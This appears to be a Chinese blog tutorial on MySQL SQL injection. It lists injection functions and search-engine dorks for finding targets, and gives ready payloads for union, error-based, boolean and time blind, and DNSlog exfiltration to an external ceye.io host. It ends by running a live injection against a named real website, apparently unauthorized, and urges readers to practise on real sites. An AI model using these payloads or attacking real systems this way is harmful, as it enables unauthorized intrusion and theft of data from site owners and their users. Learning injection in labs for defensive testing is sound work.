01 MySQL数据库结构及常用函数
一、MySQL数据库结构
MySQL数据库采用库=>表=>列=>数据
的存储结构,这样的存储结构影响着我们后续的注入过程。
1. MySQL内置库
在MySQL(版本>=5.7)中除了用户自建的如admin
等数据库,还有一些MySQL自带的数据库,这些数据库中存储着MySQL的关键信息:
库名 | 功能 |
---|---|
mysql | 保存有账户信息、权限信息、存储过程等 |
sys | 包含了一系列的存储过程、自定义函数等 |
performance_schema | 收集数据库服务器性能参数 |
information_schema | 保存着MySQL服务器所维护的所有其他数据库信息。如数据库名,数据库表等 |
这些MySQL内置的数据库对注入帮助巨大。
二、MySQL注入常用函数
1.常用函数
函数名称 | 函数功能 |
---|---|
system_user() | 系统用户名 |
user() | 用户名 |
current_user() | 当前用户名 |
session_user() | 连接数据库的用户名 |
database() | 数据库名 |
version() | 数据库版本 |
@@datadir | 数据库路径 |
@@basedir | 数据库安装路径 |
@@version_complie_os | 操作系统 |
count() | 返回执行结果的数量 |
concat() | 没有分割地连接字符串 |
concat_ws() | 含有分隔符地连接字符串 |
group_concat() | 连接一个组的所有字符串,并以逗号分隔每一条数据 |
load_file() | 读取本地文件 |
into outfile | 写文件 |
ascii() | 字符串的ASCII代码值 |
ord() | 函数返回字符串第一个字符的 ASCII 值 |
mid() | 返回字符串的一部分 |
substr() | 返回字符串的一部分 |
length() | 返回字符串的长度 |
left() | 返回字符串最左面的几个字符 |
floor() | 返回小于等于x的最大整数 |
rand() | 返回0至1之间的一个随机数 |
extractvalue() | 第一个参数:XML文档对象名称;第二个参数:Xpath格式的字符串。 作用:从目标XML中返回包含所查询值的字符串 |
updatexml() | 第一个参数:XML文档对象名称;第二个参数:Xpath格式字符串;第三个参数:string格式。作用:改变符合条件的节点的值 |
sleep() | 让此语句运行N秒钟 |
if() | select if(1>2,2,3) 返回 3 |
char() | 返回整数所对应的ASCII码字符组成的字符串 |
exp() | 返回e的n次方 |
2.MySQL运算符
基本的加减乘数那些就不列了。
符号 | 作用 |
---|---|
IS NULL | 为空 |
IS NOT NULL | 不为空 |
BETWEEN AND | 在···之间 |
IN | 包含 |
NOT IN | 不包含 |
LIKE | 模式匹配 |
NOT LIKE | 模式匹配 |
REGEXP | 正则表达式 |
02 MySQL注入流程
一、寻找注入点
这是最重要的一点,没有注入点还想注入(⊙_⊙)? Are you kidding me?
1. 目标搜集
无特定目标:
inurl:.php?id=
在茫茫的网海中寻找吧
有特定目标:
inurl:.php?id= site:target.com
工具爬取:
spider,对搜索引擎和目标网站链接进行爬取
2. 注入识别
手工简单识别:
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2
工具识别:
sqlmap -m filename (filename中保存检测目标)
sqlmap --level 增加测试级别
BurpSuite + sqlmap
3. 代码审计
白盒测试环境,耐心地找就可以了。
二、注入流程
找到注入点后就可以开始进行后续的步骤了,从宏观的角度讲SQL注入(不管是MySQL还是MSSQL等等)可以分为以下三个步骤:
- 信息搜集
- 数据获取
- 提权
1. 信息搜集
信息搜集主要是获取有关的数据库类型、数据库版本、数据库用户、数据库权限等为后续注入提供参考的信息。
2. 数据获取
这是MySQL注入中的主要目的,获取存储在数据库中的信息。
3. 提权
如果我们足够幸运,可以利用SQL注入漏洞得到服务器的权限。
03 MySQL注入方法
一、回显注入
这里的“回显”指的是攻击语句的执行结果可以在页面上显示。这里主要用到union select
语句,以及MySQL的内置库information_schema
。
对于union select
,要求union
连接的几个查询的字段数一样且列的数据类型转换没有问题,所以确定数据库表中的列数很重要。
1. 注入方法
(1)确定列数
闭合语句 + order by n--+
// 当取到n+1时页面报错,可以确定列数为n
(2)观察页面返回,确定可以显示数据的位置
闭合语句 + union select 1,2,3,...,n--+
// 选取可以显示的数据位置,进行下一步注入
(3)读库信息
select schema_name from information_schema.schemata
(4)读表信息
select schema_table from information_schema.tables where table_schema=库名
(5)读字段
select schema_column from information_schema.columns where table_name=表名
(6)读数据
select 列名 from 库名.表名
2. 注意点
- (1)默认情况
union
操作符选取不同的值。如果允许重复的值,请使用union all
。 - (2)如果数据太多,导致无法返回查询结果:
可以使用limit
限定返回的数量及位置,依次查询;
使用concat
等语句连接多个数据成为一条返回结果。
二、报错注入
当页面可以打印错误信息时,我们可以构造payload让想要的信息通过错误提示显示出来,以这种方式实现的注入就是报错注入。
存在报错注入的代码:
if($row)
{
echo '正常的页面信息';
}
else
{
print_r(mysql_error());
}
1. 注入方法
(1)floor()报错注入
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
/*
concat: 连接字符串
floor: 取float的整数值
rand: 取0~1之间随机浮点值
group by: 根据一个或多个列对结果集进行分组并有排序功能
*/
这里利用group by对rand()函数进行操作时产生错误,进行注入
{如上图所示,version()
信息被显示出来,通过更改select version()
即可实现想要的注入。
(2)extractvalue()报错注入
select extractvalue(1, concat(0x7e,(select user()),0x7e));
/*
extractvalue(): 接收两个参数,第一个XML文档,第二个xpath语句
*/
这里利用XPATH语法错误产生报错
如上图所示,version()
信息被显示出来,通过更改select version()
即可实现想要的注入。
(3)updatexml()报错注入
select updatexml(1, concat(0x7e, (select user()), 0x7e), 1);
/*
updatexml(): 接收三个参数,第一个XML文档,第二个xpath语句,第三个字符串。
*/
这里利用XPATH语法错误产生报错
如上图所示,user()
信息被显示出来,通过更改select user()
即可实现想要的注入。
2. 注意点
报错注入中,错误回显最多32位,如果数据超过32位可以使用substr
例如:
updatexml(1, concat(0x7e, (select substr(password, 2, 4) from users limit 0, 1), 0x7e), 1)
三、SQL盲注
如果页面代码存在SQL注入漏洞,但在提交错误请求时既没有回显数据,也没有打印错误信息,这时我们就可以利用SQL盲注进行攻击。在实际的渗透测试中,大多数情况都需要利用到SQL盲注。
1. 布尔盲注
布尔盲注中,虽然页面不显现数据以及打印错误信息,但却会但返回正确页面与错误页面。我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们的判断是否正确。
方法
left(database(),1)>'s'
select user() regexp '^r'
select user() like 'ro%'
ascii(substr((select database()),1,1))=98
ord(mid((select user()),1,1))=114
2. 时间盲注
时间盲注中,页面不显现数据,不打印错误信息,语句执行后也不提示真假,无法通过页面的内容来判断。我们可以通过构造语句,通过页面的响应时长,来判断信息。
方法
if(left(user(),1)='a',0,sleep(3))
时间盲注与布尔盲注的注入语句基本类似,区别在于时间盲注需要用if
判断执行语句的真假。
3. 注意点
因为SQL盲注的特殊性,我们对想要获取的数据必须通过上述方法进行猜解,手工进行测试费时费力。所以如果我们发现了某处存在SQL盲注漏洞,可以使用注入工具快速获得想要的结果。
四、Dnslog注入
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog注入可以减少发送的请求,直接回显数据实现注入。
具体内容可以查看作者之前写过的一篇文章 Dnslog盲注
1. 注入方法
select load_file(concat('\\\\',(select database()),'.XXX.ceye.io\\abc')
通过对 selecct databse()
这一部分语句的构造,就能实现SQL注入。
2. 注意点
Dnslog注入必须满足以下几个条件:
- 只能在Windows平台发起load_file请求
- 注入点可以执行SQL命令
04 MySQL注入类型
在运用上面的注入方法进行实际操作之前,我们还必须判断MySQL的注入类型,这里的分类主要是针对注入点而言的。
(分类因人而异,不必太过纠结)
一、参数类型
这里的参数类型指的是参数提交到数据库后,在程序中以何种方式存在,主要有这三种类型
- 数字型
$id = $_GET['id'];
select * from user where id = $id;
- 字符型
$name = $_GET['name'];
select * from user where id = '$name';
- 搜索型
$key = $_GET['key'];
select * from news where key like '%$key%';
可以看到不同的参数类型需要我们构造不同的语句来确保SQL注入代码的执行。
二、GET、POST与COOKIE
GET
类型的注入点直接在地址栏进行操作即可,
COOKIE
、POST
类型的注入点可以利用hackbar和BurpSuite等工具进行操作。
三、HTTP头
有些页面接受数据http数据包中http头的一些信息,所以测试注入点时,需要将注入语句写入http头部中。
这里需要关注一个PHP全局变量$_SERVER
,它用来接受http头部信息。
实例代码:
$info = $_SERVER['HTTP_USER_AGENT'];
$conn = mysql_connect("127.0.0.1", "root", "root");
mysql_select_db("test", $conn);
$sql = "select * from test where info=$info";
····
与普通的注入并无本质性的区别。再如:
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
···
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
可以将uagent
修改为
' and extractvalue(1, concat(0x7e, (select @@version),0x7e)) and '1'='1
这样写注入代码是为了将insert
语句闭合,执行攻击语句。虽然此处略有变化,但思路是一样的。
05 MySQL注入实战
这里我们以一个网站为例看看如何进行SQL注入。
这是一个加拿大的网站,所以直接把地址贴出来了。之所以选择这个站点,也是因为难得有这么一个比较适合新手进行练习的站点,其实难度与本地搭建的实验环境无异,甚至还简单一点。(大神可以直接转身了)
一、判断注入点
先看看能不能注入,加'
进行尝试。
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58%27
页面返回:
页面没有显示告警信息,初步判读可能没有防护机制。但是页面也没有内容返回,进一步验证
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58' and '1'='1
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58' and '1'='0
前者执行成功,后者无内容回显,确定存在注入点。
二、进行注入
根据'
的执行情况,可以猜测这是一个有回显的注入
1. order by 确定列数
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=58 order by 18 --+
列数为18。
2. 确定回显点
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=-58' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+
3. 可以开始搞了
先可以判断一下注入点的权限,如果权限够高是root
,我们甚至可以写入一句话木马,进而获取服务器权限。
https://camp.conco.ca/mapp/rootseeking/data/camp_details.php?id=-58' union select 1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+
比较遗憾,这里并不是高权限的注入点ε=(´ο`*)))。
后续的内容小伙伴们可以自行测试,这篇文章只能点到这里了。我个人认为在靶场完练习以后,一定要在实际的网站中进行测试。因为寻找注入点的这个过程会让你认识到黑盒测试的复杂性,更重要的是可以打击你的蜜汁自信,看清渺小的自己,知道这条路并不容易。但也正是因为它富有挑战性,才值得我们try our best
PS
注入绕过、sqlmap等一些的内容还没有写,但是简书的编辑器写到这里已经很卡了,只能把这篇文章提前发布了,后续的内容也会单独成文发布的。
文章中不正确的地方也请大家批评指正。